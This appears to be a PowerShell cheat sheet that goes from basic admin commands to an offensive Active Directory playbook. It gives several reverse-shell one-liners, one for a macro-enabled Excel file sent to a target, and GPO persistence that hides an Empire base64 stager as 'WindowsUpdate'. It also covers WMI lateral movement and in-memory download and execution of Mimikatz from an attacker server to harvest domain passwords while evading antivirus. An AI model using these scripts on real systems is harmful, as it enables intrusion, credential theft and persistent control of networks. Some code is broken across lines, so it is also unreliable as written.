General

Downloading file from command line powershell [1]

```
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls, [Net.SecurityProtocolType]::Tls11, [Net.SecurityProtocolType]::Tls12, [Net.SecurityProtocolType]::Ssl3
[Net.ServicePointManager]::SecurityProtocol = "Tls, Tls11, Tls12, Ssl3"
$url = "http://mirror.internode.on.net/pub/test/10meg.test"
$output = "C:\Users\Administrator\Desktop\PsTools.zip"
$start_time = Get-Date
Invoke-WebRequest -Uri $url -OutFile $output
```

Downloading a file with powershell [2]

```
powershell.exe (New-Object
System.Net.WebClient).DownloadFile('http:/
/domain.com/whoami
.exe', 'c:\Users\Public\whoami.exe')
```

Executing an application from powershell

```
println new
ProcessBuilder("payload.exe").redirectErro
rStream(true).start().text
```

Switching from cmd to powershell

```
powershell
```

Allow scripts to run

```
Set-ExecutionPolicy -Scope Process -
ExecutionPolicy Bypass
```

Convert Directory to zip file with poweshell

```
PS> Get-ChildItem
C:\users\Rachel\documents | Compress-
Archive -DestinationPath
c:\users\Rachel\documents.zip*
```

View running services with Powershell

```
Get-WmiObject win32_service | Select-
Object Name, State, PathName | Where-
Object {$_.State -like 'Running'}
```

View system info with powershell:

```
systeminfo | findstr /B /C:"OS Name"
/C:"OS Version" /C:"System Type"
```

Security

Enumeration with PowerView.ps1

Enumerating logged in users in the current workstation and the domain controller.

Use powerview script from powersploit and import it to powershell

```
https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon
```

Get current logged-in users on the currently compromised workstation

```
PS C:\Tools\active_directory> Get-NetLoggedon -ComputerName client251
```

Get current active sessions on the domain controller

```
PS C:\Tools\active_directory> Get-NetSession -ComputerName dc01
```

Get the ip of a user using powerview to parse event viewer logs

```
Invoke-EventHunter -username Juliette
```

Get information about other users according to department

```
Get-NetUser -filter "department=HR*"
```

Creating GPO policy to execute powershell reverse shell on a target pc within domain controller [useful for persistence]

This requires the use of poweshell empire

On any windows domain joined machine that you have just compromised, perform the below steps

First, we activate and import the Group Policy

```
Ps> Add-WindowsFeature GPMC
Ps> import-module group-policy
```

We create a fake GPO called Windows update

(We target the domain controller domain-contoller):

```
PS> New-GPo -name WindowsUpdate -domain
test.corp -Server domain-
contoller.test.corp
```

We only want to target my account on the computer motasem-pc, so we restrict the scope of this GPO

```
PS> Set-GPPermissions -Name
"WindowsUpdate" -
Replace -PermissionLevel GpoApply -
TargetName
"motasem" -TargetType user

PS> Set-GPPermissions -Name
"WindowsUpdate" -
Replace -PermissionLevel GpoApply -
TargetName
"motasem-pc" -TargetType computer

PS> Set-GPPermissions -Name
"WindowsUpdate" -
PermissionLevel None -TargetName
"Authenticated
Users" -TargetType Group
```

we link it to the test.corp domain to activate it

```
PS> New-GPLink -Name WindowsUpdate -Domain
test.corp  -Target "dc=test,dc=corp" -
order 1 -enforced
yes
```

Using Empire framework we generate a new reverse shell agent, base64 encoded this time in order to fit nicely in a registry key

```
(Empire: stager/launcher) > set Listener
test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -
Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVg
BpAGMARQBQAG8AaQBuAHQATQBhAG4AQQBHAGUAUgBd
ADoAOgBFAHgAcABlAGMAdAAxADAAMABDAE8AbgBUAE
k
```

We then instruct the GPO we created to set up a ‘Run’ registry key the next time motasem’s computer polls
new settings
This registry key will execute the PowerShell agent at motasem’s next login:

```
PS> Set-GPRegistryValue -Name
"WindowsUpdate" -key
"HKEY_CURRENT_USER\Software\Microsoft\Wind
ows\CurrentVersion\-ValueName MSstart -
Type String -value "powershell.exe
-NoP -sta -NonI -Enc WwBTAHk[…]"
```

Dumping certificates from target machine with powershell and mimikatz in memory [Post Exploitation]

On the target machine launch the following

```
PS> $browser = New-Object
System.Net.WebClient
PS> $browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetwo
rkCredentials
PS>
IEX($browser.DownloadString("https://raw.g
ithubusercontent.Mimikatz.ps1"))
PS> invoke-mimikatz -DumpCerts
```

Infecting other Active directory domain joined machines using wmi method from powerview [Pivoting and Lateral Movement]

We generate our stager's code using powershell empire

```
(Empire: stager/launcher) > set Listener
test
(Empire: stager/launcher) > generate
powershell.exe -NoP -sta -NonI -W Hidden -
Enc
WwBTAHkAUwB0AGUAbQAuAE4ARQBUAC4AUwBlAFIAVg
BpAGMARQBQAG8AaQBuAHQATQBhAG4AQQBHAGUAUgBd
ADoAOgBFAHgAcABlAGMAdAAxADAAMABDAE8AbgBUAE
k
```

Then on the domain controller or any other domain joined machine that is compromised, we include the payload in a WMI remote

```
PS> invoke-wmimethod -ComputerName motasem
win32_process -name create -argumentlist
("powershell.exe -NoP -sta -NonI -W Hidden
```

```
-Enc
WwBTAHkAUwB0AGUYA…")
```

Reverse shell one liner – Powershell

Below are three options but don't forget to change the ip and port.
[1]

```
$client = New-Object
System.Net.Sockets.TCPClient('ip',port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -
ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($byte
s,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2  = $sendback + 'PS
' + (pwd).Path + '> ';
$sendbyte =
([text.encoding]::ASCII).GetBytes($sendbac
k2);
$stream.Write($sendbyte,0,$sendbyte.Length
);
```

```
$stream.Flush()};
$client.Close()
$sm=(New-Object
Net.Sockets.TCPClient('192.168.254.1',5555
5)).GetStream();[byte[]]$bt=0..65535|%
{0};while(($i=$sm.Read($bt,0,$bt.Length))
-ne 0){;$d=(New-Object
Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex
$d 2>&1));$sm.Write($st,0,$st.Length)}
```

[2]

```
powershell -nop -c "$client = New-Object
System.Net.Sockets.TCPClient('10.10.14.18'
,4545);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -
ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($byte
s,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2 = $sendback + 'PS
' + (pwd).Path + '> ';$sendbyte =
([text.encoding]::ASCII).GetBytes($sendbac
```

```
k2);$stream.Write($sendbyte,0,$sendbyte.Le
ngth);$stream.Flush()};$client.Close()"
```

[3]

```
powershell -NoP -NonI -W Hidden -Exec
Bypass -Command New-Object
System.Net.Sockets.TCPClient("10.10.14.18"
,4545);$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};while(($i =
$stream.Read($bytes, 0, $bytes.Length)) -
ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($byte
s,0, $i);$sendback = (iex $data 2>&1 |
Out-String );$sendback2  = $sendback + "PS
" + (pwd).Path + "> ";$sendbyte =
([text.encoding]::ASCII).GetBytes($sendbac
k2);$stream.Write($sendbyte,0,$sendbyte.Le
ngth);$stream.Flush()};$client.Close()
```

Downloading and executing a powershell script in memory (Mimikatz.ps1) to harvest admin password on the targeted domain controller. [Post exploitation]

This script is run directly from the target you compromised.

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:[port]/Invoke-Mimikatz.ps1"))
invoke-Mimikatz
```

Running the above script on multiple domain joined machines to harvest all passwords [Post exploitation]

```
$browser = New-Object System.Net.WebClient
IEX($browser.DownloadString("http://[your-server-ip]:[port]/Invoke-Mimikatz.ps1"))

invoke-mimikatz -Computer motasem1,motasem2,motasem3,motasem4 |out-file result.txt -Append
```

motasem1,motasem2..are the targeted computer names which you can get by running nslookup on the corresponding IP. Save it as Mimikatz.ps1 and run it.

This script depends and relies on winrm (5985) to be enabled on the target you are running the script from, you can enable it with the following command:

```
Wmic /user:admin /password:password /node:[ip] process call create "powersell enable-PSRemoting -force"
```

Powershell script that Downloads Mimikatz and executes it on multiple defined machines using WMI. Use it if the above method failed [Post exploitation]

Scenario 1:
You have just compromised a domain-joined machine / domain-controller / regular workstation and want to harvest the passwords / hashes of other domain-joined machines then you can use the below script to launch it from the host you have just compromised.

Scenario 2:
You have compromised a non domain-joined machine and want to download and execute

mimikatz as stealthy as possible then you can use the script below and stop at the green highlight.
Gather the ip addresses of the target machines and substitute them in the script in the place of [target-ip-1] and [target-ip-2].
Once you see greenlight in the output you can stop the script

```
$command = '$browser = New-
ObjectSystem.Net.WebClient;

IEX($browser.DownloadString("http://
[your-server-ip]:[port]/Invoke-
Mimikatz.ps1"));

$machine_name = (get-netadapter |
getnetipaddress | ? addressfamily -eq
"IPv4").ipaddress;invoke-mimikatz | out-
file c:\windows\temp\$machine_name".txt"'
$bytes =
[System.Text.Encoding]::Unicode.GetBytes($
command)
$encodedCommand =
[Convert]::ToBase64String($bytes)
```

```
$PC_IP = @("[target-ip-1]", "[target-ip-
2]")

ForEach ($X in $PC_IP)

{

$proc = invoke-wmimethod -ComputerName $X
win32_process -name create -argumentlist
("powershell -encodedcommand
$encodedCommand")

$proc_id = $proc.processId

do {(Write-Host "[*] Waiting for mimi to
finish on $X"),
(Start-Sleep -Seconds 2)} until ((Get-
WMIobject -Class Win32_process -Filter
"ProcessId=$proc_id" -ComputerName $X |
where {$_.ProcessId -eq
$proc_id}).ProcessID -eq $null)

move-item -path
"\\$X\C$\windows\temp\$X.txt" -Destination
```

```
C:\users\Administrator\desktop\ -force
write-host "[+] Got file for $X" -
foregroundcolor "green"
}
```

write-host $encodedCommand [include this command if you are running this script for a single host and stop here].

Powershell script to download mimikatz and execute it in memory only [Post exploitation]

Useful for AV bypass

```
$browser = New-Object System.Net.WebClient
$browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetwo
rkCredentials
IEX($browser.DownloadString("https://raw.g
ithubusercontent.Mimikatz.ps1"))
invoke-Mimikatz
```

Powershell Script for user enumeration

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName =
"DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher
([ADSI]$SearchString)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="samAccountType=805306368
"
$Searcher.FindAll()
```

Enumerating specific user accounts

Remember to substitute [account-name] in the script with the account name you are

enumerating.

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName =
"DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher
([ADSI]$SearchString)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="name=[account-name]"
$Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
```

```
}
Write-Host "-------------------------"
}
```

Enumerating Groups

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName =
"DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher
([ADSI]$SearchString)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(objectClass=Group)"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
```

```
{
$obj.Properties.name
}
```

Enumerating specific group and its members

Remember to substitute [group-name] in the script with the group name you are enumerating.

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName =
"DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher
([ADSI]$SearchString)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
```

```
$Searcher.SearchRoot = $objDomain
$Searcher.filter="(name=[group-name])"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
$obj.Properties.member
}
```

Enumerating service principal names to figure out the running services on the domain controller.

In the example below, we enumerate for [http] protocol

```
$domainObj =
[System.DirectoryServices.ActiveDirectory.
Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName =
"DC=$($domainObj.Name.Replace('.',
',DC='))"
$SearchString += $DistinguishedName
```

```
$Searcher = New-Object
System.DirectoryServices.DirectorySearcher
([ADSI]$SearchString)
$objDomain = New-Object
System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
$Searcher.filter="serviceprincipalname=*ht
tp*"
$Result = $Searcher.FindAll()
Foreach($obj in $Result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
}
```

Powershell Reverse shell to be embedded in an office-macro enabled document [Exploitation]

Don't forget to change the ip and port. Put this as a macro job in an excel file and send it to the target

```
#Open a socket connection
$client = New-Object
System.Net.Sockets.TCPClient("IP",PORT);
$stream = $client.GetStream();
#Send shell prompt
$greeting = "PS " + (pwd).Path + "> "
$sendbyte =
([text.encoding]::ASCII).GetBytes($greetin
g)
$stream.Write($sendbyte,0,$sendbyte.Length
);$stream.Flush();
[byte[]]$bytes = 0..255|%{0};
#Wait for response, execute whatever's
coming, then
loop back
while(($i = $stream.Read($bytes, 0,
$bytes.Length)) -ne
0){
$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($byte
s,0, $i);
$sendback = (iex $data 2>&1 | Out-String
);
$sendback2 = $sendback + "PS " +
```

```
(pwd).Path +
"> ";
$sendbyte =
([text.encoding]::ASCII).GetBytes($sendbac
k2);
$stream.Write($sendbyte,0,$sendbyte.Length
);
$stream.Flush()
};
$client.Close()
```